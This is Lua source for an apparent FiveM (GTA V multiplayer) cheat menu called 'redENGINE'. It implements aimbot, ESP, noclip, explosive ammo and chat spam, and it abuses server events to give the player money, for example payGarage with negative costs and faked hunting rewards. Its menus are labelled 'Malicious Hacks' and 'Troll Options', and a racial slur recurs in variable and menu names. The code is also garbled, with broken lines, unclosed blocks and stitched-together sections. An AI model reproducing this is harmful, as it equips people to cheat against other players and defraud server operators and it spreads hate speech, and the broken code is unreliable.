SetVehicleGravityAmount(niggerVehicle, 10.0)
SetVehicleEngineTorqueMultiplier(niggerVehicle, 1.0)
end
if t2x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),2.0)
end
if t4x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),4.0)
end
if t8x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),8.0)
end
if t16x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),16.0)
end
end
if Noclip then
local currentSpeed = 2
local noclipEntity =
IsPedInAnyVehicle(PlayerPedId(), false) and
GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
FreezeEntityPosition(PlayerPedId(), true)
SetEntityInvincible(PlayerPedId(), true)
newPos =
GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0, yoff *
(currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
FreezeEntityPosition(noclipEntity, false)
SetEntityInvincible(noclipEntity, false)
SetEntityCollision(noclipEntity, true, true)
end
if DeleteGun then
local gotEntity = getEntity(PlayerId())
if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
drawNotification("Aim The Gun At An Entity And Shoot!")
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey("WEAPON_PISTOL"), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"),
999999)
if (GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey("WEAPON_PISTOL")) then
if IsPlayerFreeAiming(PlayerId()) then
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity, true) then
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
SetEntityAsMissionEntity(gotEntity, 1,
1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(gotEntity, 1,
1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
end
end
end
end
if esp then
for i = 0, 128 do
if i ~= PlayerId() and GetPlayerServerId(i) ~= 0 then
local ra = RGBRainbow(1.0)
local pPed = GetPlayerPed(i)
local cx, cy, cz =
table.unpack(GetEntityCoords(PlayerPedId()))
local x, y, z = table.unpack(GetEntityCoords(pPed))
local message =
"Name: " ..
GetPlayerName(i) ..
"\nServer ID: " ..
GetPlayerServerId(i) ..
"\nPlayer ID: " .. i .. "\nDist: " ..
math.round(GetDistanceBetweenCoords(cx, cy, cz, x, y, z, true), 1)
if IsPedInAnyVehicle(pPed, true) then
local VehName =
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(pPe
d))))
message = message .. "\nVeh: " .. VehName
end
DrawText3D(x, y, z + 1.0, message, ra.r, ra.g, ra.b)
LineOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -
0.3, -0.3, -0.9)
LineOneEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, -0.9)
LineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, -0.9)
LineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, -0.9)
LineThreeBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, -0.9)
LineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -
0.3, 0.3, -0.9)
LineFourBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, -0.9)
TLineOneBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, 0.8)
TLineOneEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, 0.8)
TLineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, 0.8)
TLineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, 0.8)
TLineThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
TLineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, 0.3, 0.8)
TLineFourBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, 0.8)
ConnectorOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
ConnectorOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
ConnectorTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
ConnectorTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
ConnectorThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
ConnectorThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
ConnectorFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
ConnectorFourEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
DrawLine(
LineOneBegin.x,
LineOneBegin.y,
LineOneBegin.z,
LineOneEnd.x,
LineOneEnd.y,
LineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineTwoBegin.x,
LineTwoBegin.y,
LineTwoBegin.z,
LineTwoEnd.x,
LineTwoEnd.y,
LineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeBegin.x,
LineThreeBegin.y,
LineThreeBegin.z,
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
LineFourBegin.x,
LineFourBegin.y,
LineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineOneBegin.x,
TLineOneBegin.y,
TLineOneBegin.z,
TLineOneEnd.x,
TLineOneEnd.y,
TLineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineTwoBegin.x,
TLineTwoBegin.y,
TLineTwoBegin.z,
TLineTwoEnd.x,
TLineTwoEnd.y,
TLineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeBegin.x,
TLineThreeBegin.y,
TLineThreeBegin.z,
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
TLineFourBegin.x,
TLineFourBegin.y,
TLineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorOneBegin.x,
ConnectorOneBegin.y,
ConnectorOneBegin.z,
ConnectorOneEnd.x,
ConnectorOneEnd.y,
ConnectorOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorTwoBegin.x,
ConnectorTwoBegin.y,
ConnectorTwoBegin.z,
ConnectorTwoEnd.x,
ConnectorTwoEnd.y,
ConnectorTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorThreeBegin.x,
ConnectorThreeBegin.y,
ConnectorThreeBegin.z,
ConnectorThreeEnd.x,
ConnectorThreeEnd.y,
ConnectorThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorFourBegin.x,
ConnectorFourBegin.y,
ConnectorFourBegin.z,
ConnectorFourEnd.x,
ConnectorFourEnd.y,
ConnectorFourEnd.z,
ra.r,
ra.g,
ra.b,
255
)
if rainbowTint then
local weaponhash = GetSelectedPedWeapon(GetPlayerPed(-1))
SetPedWeaponTintIndex(PlayerPedId(), weaponhash, math.random(0,
7))
end
if showCoords then
x,y,ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdonAJPmspFw =
table.unpack(GetEntityCoords(GetPlayerPed(-1),true))
roundx=tonumber(string.format("%.2f",x))
roundy=tonumber(string.format("%.2f",y))
roundz=tonumber(string.format("%.2f",ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdon
AJPmspFw))
drawOnscreenText("~r~X:~s~ "..roundx,0.05,0.00)
drawOnscreenText("~r~Y:~s~ "..roundy,0.11,0.00)
drawOnscreenText("~r~Z:~s~ "..roundz,0.17,0.00)
end
if bulletGun then
local startDistance = GetDistance(GetGameplayCamCoord(),
GetEntityCoords(PlayerPedId(), true))
local endDistance = GetDistance(GetGameplayCamCoord(),
GetEntityCoords(PlayerPedId(), true))
startDistance = startDistance + 0.25
endDistance = endDistance + 1000.0
end
if spam then
TriggerServerEvent('chatEvent', message)
TriggerServerEvent('_chat:messageEntered', "", { 255, 255,
255 }, message)
TriggerServerEvent('playerDied', message)
end
if shootBomb then
for i = 0, 128 do
if IsPedShooting(GetPlayerPed(i)) then
AddExplosion(GetEntityCoords(GetPlayerPed(i)), 4,
100.0, false, true, 0.0)
end
end
end
if vehicleGun then
local heading = GetEntityHeading(PlayerPedId())
local model = GetHashKey(vehicles[selectedVehicle])
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local camPosition = GetGameplayCamCoord()
local playerPosition = GetEntityCoords(PlayerPedId(), true)
local spawnDistance = GetDistance(camPosition, playerPosition)
spawnDistance = spawnDistance + 5
local spawnPosition = add(camPosition, multiply(dir,
spawnDistance))
RequestModel(model)
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
Citizen.Wait(0)
end
if HasModelLoaded(model) then
if IsPedShooting(PlayerPedId()) then
if IsPedOnFoot(PlayerPedId()) then
local veh = CreateVehicle(model, spawnPosition.x,
spawnPosition.y, spawnPosition.z, heading, true, true)
SetVehicleForwardSpeed(veh, 120.0)
SetModelAsNoLongerNeeded(model)
SetVehicleAsNoLongerNeeded(veh)
end
end
end
end
if pedGun then
local heading = GetEntityHeading(PlayerPedId())
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local camPosition = GetGameplayCamCoord()
local playerPosition = GetEntityCoords(PlayerPedId(), true)
local spawnDistance = GetDistance(camPosition, playerPosition)
spawnDistance = spawnDistance + 5
local spawnPosition = add(camPosition, multiply(dir,
spawnDistance))
RequestModel(model)
while not HasModelLoaded(model) do
Citizen.Wait(0)
end
if HasModelLoaded(model) then
if IsPedShooting(PlayerPedId()) then
local spawnedPed = CreatePed(26, model,
spawnPosition.x, spawnPosition.y, spawnPosition.z, heading, true, true)
SetEntityRecordsCollisions(spawnedPed, true)
if nameAboveHead then
local dW = false
local dX = 130
local cx = 0;
for M = 0, 128 do
if NetworkIsPlayerActive(M) and GetPlayerPed(M) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(M)
blip = GetBlipFromEntity(ped)
x1, y1, z1 =
table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
x2, y2, z2 =
table.unpack(GetEntityCoords(GetPlayerPed(M), true))
distance = math.floor(GetDistanceBetweenCoords(x1, y1,
z1, x2, y2, z2, true))
if dW then
if NetworkIsPlayerTalking(M) then
local dY = f(1.0)
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), dY.r, dY.g, dY.b)
else
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), 255, 255, 255)
end
end
if distance < dX then
if not dW then
if NetworkIsPlayerTalking(M) then
local dY = f(1.0) DrawText3D(x2, y2, z2 +
1.2, GetPlayerServerId(M).." | "..GetPlayerName(M), dY.r, dY.g, dY.b)
else
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), 255, 255, 255)
end
end
end
end
end
end
if forceGun then
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local heading = GetEntityHeading(PlayerPedId())
if IsPedShooting(PlayerPedId()) then
local aiming, entity =
GetEntityPlayerIsFreeAimingAt(PlayerId())
if aiming then
if IsPedInAnyVehicle(entity) then
local veh = GetVehiclePedIsUsing(entity)
DeleteEntity(entity)
SetEntityHeading(veh, heading)
SetVehicleForwardSpeed(veh, 150.0)
else
for i = 0, 10 do
ApplyForceToEntity(entity, 1, dir.x * 10.0,
dir.y * 10.0, dir.z * 10.0, 0.0, 0.0, 0.0, false, false, true, true, false, true)
end
end
end
end
end
if explosiveAmmo then
local impact, coords =
GetPedLastWeaponImpactCoord(PlayerPedId())
if impact then
AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0,
true, false, 0)
end
end
if aimbot then
for i = 0, 128 do
if i ~= PlayerId() then
if IsPlayerFreeAiming(PlayerId()) then
local TargetPed = GetPlayerPed(i)
local TargetPos = GetEntityCoords(TargetPed)
local Exist = DoesEntityExist(TargetPed)
local Dead = IsPlayerDead(TargetPed)
if TriggerBot then
local Aiming, Entity =
GetEntityPlayerIsFreeAimingAt(PlayerId(), Entity)
if Aiming then
if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0)
and IsPedAPlayer(Entity) then
ShootPlayer(Entity)
end
end
end
if fastrun then
SetRunSprintMultiplierForPlayer(PlayerId(), 2.49)
SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
else
SetRunSprintMultiplierForPlayer(PlayerId(), 1.0)
SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
end
if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end
if huntspam then
Citizen.Wait(1)
TriggerServerEvent('esx-qalle-hunting:reward', 20000)
TriggerServerEvent('esx-qalle-hunting:sell')
end
if Oneshot then
SetPlayerWeaponDamageModifier(PlayerId(), 100.0)
local gotEntity = getEntity(PlayerId())
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity, true) then
if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
if IsControlJustReleased(1, 69) then
Citizen.CreateThread(
function()
local currentTint = 1
local selectedTint = 1
intro = 0
intro2 = 0
redMENU.CreateMenu("MainMenu", "redENGINE")
-- sprites shopui_title_gr_gunmod, mpshops =
shopui_title_graphics_sale, assassinations = target1 , target3
redMENU.SetTitleBackgroundSprite("MainMenu",
"shopui_title_clubhousemod", "shopui_title_clubhousemod")
Citizen.CreateThread(function()
while false do
redMENU.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_1")
Citizen.Wait(50)
redMENU.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_2")
Citizen.Wait(50)
redMENU.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_3")
Citizen.Wait(50)
redMENU.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_4")
Citizen.Wait(100)
redMENU.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_5")
Citizen.Wait(100)
end
end)
redMENU.CreateSubMenu("SelfMenu", "MainMenu", "Self Menu")
redMENU.CreateSubMenu("OnlinePlayersMenu", "MainMenu", "Players Online:
" .. #getPlayerIds())
redMENU.CreateSubMenu("WeaponMenu", "MainMenu", "Weapon Menu")
redMENU.CreateSubMenu("MaliciousMenu", "MainMenu", "Malicious Hacks")
redMENU.CreateSubMenu("VRPMenu", "MainMenu", "VRP Options")
redMENU.CreateSubMenu("ESXMenu", "MainMenu", "ESX Options")
redMENU.CreateSubMenu("ESXJobMenu", "ESXMenu", "ESX Jobs")
redMENU.CreateSubMenu("ESXMoneyMenu", "ESXMenu", "ESX Money Menu")
redMENU.CreateSubMenu("ESXDrugMenu", "ESXMenu", "ESX Drugs")
redMENU.CreateSubMenu("VehMenu", "MainMenu", "Vehicle Menu")
redMENU.CreateSubMenu("VehSpawnOpt", "VehMenu", "Vehicle Spawn
Options")
redMENU.CreateSubMenu("PlayerOptionsMenu", 'OnlinePlayersMenu', 'Player
Options')
redMENU.CreateSubMenu("TeleportMenu", "MainMenu", "Teleport Menu")
redMENU.CreateSubMenu("NiggerCustoms", "VehMenu", "LC Customs")
redMENU.CreateSubMenu("PlayerTrollMenu", "PlayerOptionsMenu", "Troll
Options")
redMENU.CreateSubMenu("PlayerESXMenu", "PlayerOptionsMenu", "ESX
Options")
redMENU.CreateSubMenu("PlayerESXJobMenu", "PlayerOptionsMenu", "ESX
Jobs")
redMENU.CreateSubMenu("PlayerESXTriggerMenu", "PlayerESXMenu", "ESX
Triggers")
redMENU.CreateSubMenu("BulletGunMenu", "WeaponMenu", "Bullets Gun
Options")
redMENU.CreateSubMenu("TrollMenu", "MainMenu", "Troll Options")
redMENU.CreateSubMenu("WeaponCustomization", "WeaponMenu", "Weapon
Cusomization Options")
redMENU.CreateSubMenu("WeaponTintMenu", "WeaponCustomization", "Weapon
Tints")
redMENU.CreateSubMenu("VehicleRamMenu", "PlayerTrollMenu", "Ram
Vehicles Into Player")
redMENU.CreateSubMenu("ESXBossMenu", "ESXMenu", "ESX Boss")
redMENU.CreateSubMenu("SpawnPropsMenu", "PlayerTrollMenu", "Spawn Props
On Player")
redMENU.CreateSubMenu("PerformanceMenu", "NiggerCustoms", "Performance
Tuning")
redMENU.CreateSubMenu("SingleWepPlayer", 'PlayerOptionsMenu', 'Single
Weapon Menu')
redMENU.CreateSubMenu("SettingsMenu", "MainMenu", "Settings")
redMENU.CreateSubMenu("Credits", "SettingsMenu", "Credits")
redMENU.CreateSubMenu("Themes", "SettingsMenu", "Themes")
redMENU.CreateSubMenu("ESXMiscMenu", "ESXMenu", "ESX Misc")
redMENU.CreateSubMenu("VehBoostMenu", "NiggerCustoms", "Vehicle
Booster")
redMENU.CreateSubMenu("SpawnPedsMenu", "TrollMenu", "Spawn Peds")
redMENU.CreateSubMenu("CarTypeSelection", "VehMenu", "Vehicle Types")
redMENU.CreateSubMenu("CarOptions", "CarTypeSelection", "Car Types")
redMENU.CreateSubMenu("CarTypes", "VehMenu", "Vehicles")
redMENU.CreateSubMenu("tunings", "NiggerCustoms", "Extrerior Tuning")
redMENU.CreateSubMenu("performance", "NiggerCustoms", "Performance
Tuning")
redMENU.CreateSubMenu("WeaponTypes", "WeaponMenu", "Weapons")
redMENU.CreateSubMenu("WeaponTypeSelection", "WeaponTypes", "Weapon")
redMENU.CreateSubMenu("WeaponOptions", "WeaponTypeSelection", "Weapon
Options")
redMENU.CreateSubMenu("ModSelect", "WeaponOptions", "Weapon Mod
Options")
redMENU.CreateSubMenu("BlockAreas", "TrollMenu", "Block Off Areas")
redMENU.CreateSubMenu("InfoMenu", "SettingsMenu", "Info")
redMENU.CreateSubMenu("PlayerSpawnPedsMenu", "PlayerTrollMenu", "Spawn
Peds")
for i, dA in pairs(bd) do
redMENU.CreateSubMenu(dA.id, "tunings", dA.name) if dA.id ==
"paint" then
redMENU.CreateSubMenu("primary", dA.id, "Primary Paint")
redMENU.CreateSubMenu("secondary", dA.id, "Secondary Paint")
redMENU.CreateSubMenu("rimpaint", dA.id, "Wheel Paint")
redMENU.CreateSubMenu("classic1", "primary", "Classic Paint")
redMENU.CreateSubMenu("metallic1", "primary", "Metallic Paint")
redMENU.CreateSubMenu("matte1", "primary", "Matte Paint")
redMENU.CreateSubMenu("metal1", "primary", "Metal Paint")
redMENU.CreateSubMenu("classic2", "secondary", "Classic Paint")
redMENU.CreateSubMenu("metallic2", "secondary", "Metallic Paint")
redMENU.CreateSubMenu("matte2", "secondary", "Matte Paint")
redMENU.CreateSubMenu("metal2", "secondary", "Metal Paint")
redMENU.CreateSubMenu("classic3", "rimpaint", "Classic Paint")
redMENU.CreateSubMenu("metallic3", "rimpaint", "Metallic Paint")
redMENU.CreateSubMenu("matte3", "rimpaint", "Matte Paint")
redMENU.CreateSubMenu("metal3", "rimpaint", "Metal Paint")
end
end
for i, dA in pairs(be) do
redMENU.CreateSubMenu(dA.id, "performance", dA.name)
end
local SelectedPlayer
while Enabled do
if intro == 0 then
scaleform = Initialize("mp_big_message_freemode", "~r~redENGINE
Menu Started")
DrawScaleformMovieFullscreen(scaleform, 80, 80, 80, 80, 0)
Citizen.CreateThread(function()
while true do
Wait(2000)
intro = intro + 1
end
end)
elseif intro == 100 then
end
ped = PlayerPedId()
veh = GetVehiclePedIsUsing(ped)
SetVehicleModKit(veh, 0)
for i, dA in pairs(bd) do
if redMENU.IsMenuOpened("tunings") then
if b8 then
if ba == "neon" then
local r, g, b = table.unpack(b9)
SetVehicleNeonLightsColour(veh, r, g, b)
SetVehicleNeonLightEnabled(veh, 0, bc)
SetVehicleNeonLightEnabled(veh, 1, bc)
SetVehicleNeonLightEnabled(veh, 2, bc)
SetVehicleNeonLightEnabled(veh, 3, bc)
b8 = false
ba = -1
b9 = -1
elseif ba == "paint" then
local dB, dC, dD, dA = table.unpack(b9)
SetVehicleColours(veh, dB, dC)
SetVehicleExtraColours(veh, dD, dA)
b8 = false
ba = -1;
b9 = -1
else
if bc == "rm" then
RemoveVehicleMod(veh, ba)
b8 = false
ba = -1
b9 = -1
else
SetVehicleMod(veh, ba, b9, false)
b8 = false
ba = -1
b9 = -1
end
end
end
end
if redMENU.IsMenuOpened(dA.id) then
if dA.id == "wheeltypes" then
if redMENU.Button("Sport Wheels") then
SetVehicleWheelType(veh, 0)
elseif redMENU.Button("Muscle Wheels") then
SetVehicleWheelType(veh, 1)
elseif redMENU.Button("Lowrider Wheels") then
SetVehicleWheelType(veh, 2)
elseif redMENU.Button("SUV Wheels") then
SetVehicleWheelType(veh, 3)
elseif redMENU.Button("Offroad Wheels") then
SetVehicleWheelType(veh, 4)
elseif redMENU.Button("Tuner Wheels") then
SetVehicleWheelType(veh, 5)
elseif redMENU.Button("High End Wheels") then
SetVehicleWheelType(veh, 7)
end
redMENU.Display()
elseif dA.id == "extra" then
local dF = checkValidVehicleExtras()
for i, dA in pairs(dF) do
if IsVehicleExtraTurnedOn(veh, i) then
pricestring = "Installed"
else
pricestring = "Not Installed"
end
if redMENU.Button(dA.menuName, pricestring) then
SetVehicleExtra(veh, i,
IsVehicleExtraTurnedOn(veh, i))
end
end
redMENU.Display()
elseif dA.id == "headlight" then
if redMENU.Button("None") then
SetVehicleHeadlightsColour(veh, -1)
end
for dK, dA in pairs(bo) do
tp = GetVehicleHeadlightsColour(veh)
if tp == dA.id and not bg then
pricetext = "Installed"
else
if bg and tp == dA.id then
pricetext = "Previewing"
else pricetext = "Not Installed"
end
end
head = GetVehicleHeadlightsColour(veh)
if redMENU.Button(dA.name, pricetext) then
if not bg then
bi = "headlight"
bk = false
oldhead = GetVehicleHeadlightsColour(veh)
bh = table.pack(oldhead)
SetVehicleHeadlightsColour(veh, dA.id)
bg = true
elseif bg and head == dA.id then
ToggleVehicleMod(veh, 22, true)
SetVehicleHeadlightsColour(veh, dA.id)
bg = false; bi = -1; bh = -1
elseif bg and head ~= dA.id then
SetVehicleHeadlightsColour(veh, dA.id) bg =
true
end
end
end
redMENU.Display()
elseif dA.id == "neon" then
if redMENU.Button("None") then
SetVehicleNeonLightsColour(veh, 255, 255, 255)
SetVehicleNeonLightEnabled(veh, 0, false)
SetVehicleNeonLightEnabled(veh, 1, false)
SetVehicleNeonLightEnabled(veh, 2, false)
SetVehicleNeonLightEnabled(veh, 3, false)
end
for i, dA in pairs(colors) do
colorr, colorg, colorb = table.unpack(dA)
r, g, b = GetVehicleNeonLightsColour(veh)
if colorr == r and colorg == g and colorb == b and
IsVehicleNeonLightEnabled(vehicle, 2) and not b8 then
pricestring = "Installed"
else
if b8 and colorr == r and colorg == g and
colorb == b then
pricestring = "Previewing"
else
pricestring = "Not Installed"
end
end
if redMENU.Button(i, pricestring) then
if not b8 then
ba = "neon"
bc = IsVehicleNeonLightEnabled(veh, 1)
oldr, oldg, oldb =
GetVehicleNeonLightsColour(veh)
b9 = table.pack(oldr, oldg, oldb)
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = true
elseif b8 and colorr == r and colorg == g and
colorb == b then
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = false
ba = -1
b9 = -1
elseif b8 and colorr ~= r or colorg ~= g or
colorb ~= b then
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = true
end
end
end
redMENU.Display()
elseif dA.id == "paint" then
if redMENU.MenuButton("Primary Paint", "primary") then
elseif redMENU.MenuButton("Secondary Paint",
"secondary") then
elseif redMENU.MenuButton("Wheel Paint", "rimpaint")
then
end
redMENU.Display()
else
local as = checkValidVehicleMods(dA.id)
for dG, dH in pairs(as) do
if dH.menuName == "Stock" then
price = 0
end
if dA.name == "Horns" then
for dI, dJ in pairs(horns) do
if dJ ==dG - 1 then
dH.menuName = dI
end
end
end
if dH.menuName == "NULL" then
dH.menuname = "unknown"
end
if redMENU.Button(dH.menuName, price) then
if not b8 then
ba = dA.id
b9 = GetVehicleMod(veh, dA.id)
b8 = true
if dH.data.realIndex == -1 then
bc = "rm"
RemoveVehicleMod(veh, dH.data.modid)
b8 = false
ba = -1
b9 = -1
bc = false
else
bc = false
SetVehicleMod(veh, dA.id,
dH.data.realIndex, false)
end
elseif b8 and GetVehicleMod(veh, dA.id) ==
dH.data.realIndex then
b8 = false
ba = -1
b9 = -1
bc = false
if dH.data.realIndex == -1 then
RemoveVehicleMod(veh, dH.data.modid)
else
SetVehicleMod(veh, dA.id,
dH.data.realIndex, false)
end
elseif b8 and GetVehicleMod(veh, dA.id) ~=
dH.data.realIndex then
if dH.data.realIndex == -1 then
RemoveVehicleMod(veh, dH.data.modid)
b8 = false
ba = -1
b9 = -1
bc = false
else
SetVehicleMod(veh, dA.id,
dH.data.realIndex, false)
b8 = true
end
end
end
end
redMENU.Display()
end
end
end
for i, dA in pairs(be) do
if redMENU.IsMenuOpened(dA.id) then
if GetVehicleMod(veh, dA.id) == 0 then pricestock = "Not Installed"
price1 = "Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, dA.id) == 1 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Installed"
price3 = "Not Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, dA.id) == 2 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, dA.id) == 3 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Installed"
elseif GetVehicleMod(veh, dA.id) == -1 then pricestock =
"Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Not Installed"
end
if redMENU.Button("Stock "..dA.name, pricestock) then
SetVehicleMod(veh, dA.id, -1)
elseif redMENU.Button(dA.name.." Upgrade 1", price1) then
SetVehicleMod(veh, dA.id, 0)
elseif redMENU.Button(dA.name.." Upgrade 2", price2) then
SetVehicleMod(veh, dA.id, 1)
elseif redMENU.Button(dA.name.." Upgrade 3", price3) then
SetVehicleMod(veh, dA.id, 2)
elseif dA.id ~= 13 and dA.id ~= 12 and redMENU.Button(dA.name.."
Upgrade 4", price4) then
SetVehicleMod(veh, dA.id, 3) end; redMENU.Display()
end
end
if redMENU.IsMenuOpened("MainMenu") then
drawNotification("~r~redENGINE")
if redMENU.MenuButton("-- Self Menu --", "SelfMenu") then
elseif redMENU.MenuButton("-- Online Players --",
"OnlinePlayersMenu") then
elseif redMENU.MenuButton("-- Teleport Menu --",
"TeleportMenu") then
elseif redMENU.MenuButton("-- Weapon Menu -- " , "WeaponMenu")
then
elseif redMENU.MenuButton("-- Vehicle Menu --", "VehMenu") then
elseif redMENU.MenuButton("-- Malicious Hacks --",
"MaliciousMenu") then
elseif redMENU.MenuButton("-- Trolling Options --",
"TrollMenu") then
elseif redMENU.MenuButton("-- ESX Options --", "ESXMenu") then
elseif redMENU.Button("-- Disable Menu --") then
Enabled = false
end
redMENU.Display()
elseif redMENU.IsMenuOpened("VRPMenu") then
if redMENU.Button('VRP PayGarage 100$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -100})
elseif redMENU.Button('VRP PayGarage 1000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -1000})
elseif redMENU.Button('VRP PayGarage 10 000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -10000})
elseif redMENU.Button('VRP PayGarage 100 000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -
100000})
elseif redMENU.Button('VRP Get Driver Licence') then
TriggerServerEvent('dmv:success')
elseif redMENU.Button('VRP Bank Deposit') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('bank:deposit', amount)
elseif redMENU.Button('VRP Bank Whithdraw') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('bank:withdraw', amount)
elseif redMENU.Button('VRP Slot Machine') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('vrp_slotmachine:server:2', amount)
end
redMENU.Display()
elseif redMENU.IsMenuOpened("SettingsMenu") then
if redMENU.ComboBox("Menu X", menuX, currentMenuX,
